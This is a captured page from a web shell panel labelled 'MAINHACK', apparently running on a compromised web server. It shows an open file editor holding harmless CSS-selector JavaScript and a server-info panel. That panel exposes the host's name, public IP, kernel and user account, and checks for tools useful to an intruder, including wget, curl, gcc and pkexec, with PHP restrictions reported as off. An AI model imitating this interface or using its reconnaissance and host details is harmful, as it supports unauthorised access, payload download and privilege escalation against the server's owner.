[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: processSelector.js
var generate = require('css-tree').generate; var specificity = require('./specificity'); var nonFreezePseudoElements = { 'first-letter': true, 'first-line': true, 'after': true, 'before': true }; var nonFreezePseudoClasses = { 'link': true, 'visited': true, 'hover': true, 'active': true, 'first-letter': true, 'first-line': true, 'after': true, 'before': true }; module.exports = function freeze(node, usageData) { var pseudos = Object.create(null); var hasPseudo = false; node.prelude.children.each(function(simpleSelector) { var tagName = '*'; var scope = 0; simpleSelector.children.each(function(node) { switch (node.type) { case 'ClassSelector': if (usageData && usageData.scopes) { var classScope = usageData.scopes[node.name] || 0; if (scope !== 0 && classScope !== scope) { throw new Error('Selector can\'t has classes from different scopes: ' + generate(simpleSelector)); } scope = classScope; } break; case 'PseudoClassSelector': var name = node.name.toLowerCase(); if (!nonFreezePseudoClasses.hasOwnProperty(name)) { pseudos[':' + name] = true; hasPseudo = true; } break; case 'PseudoElementSelector': var name = node.name.toLowerCase(); if (!nonFreezePseudoElements.hasOwnProperty(name)) { pseudos['::' + name] = true; hasPseudo = true; } break; case 'TypeSelector': tagName = node.name.toLowerCase(); break; case 'AttributeSelector': if (node.flags) { pseudos['[' + node.flags.toLowerCase() + ']'] = true; hasPseudo = true; } break; case 'WhiteSpace': case 'Combinator': tagName = '*'; break; } }); simpleSelector.compareMarker = specificity(simpleSelector).toString(); simpleSelector.id = null; // pre-init property to avoid multiple hidden class simpleSelector.id = generate(simpleSelector); if (scope) { simpleSelector.compareMarker += ':' + scope; } if (tagName !== '*') { simpleSelector.compareMarker += ',' + tagName; } }); // add property to all rule nodes to avoid multiple hidden class node.pseudoSignature = hasPseudo && Object.keys(pseudos).sort().join(','); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002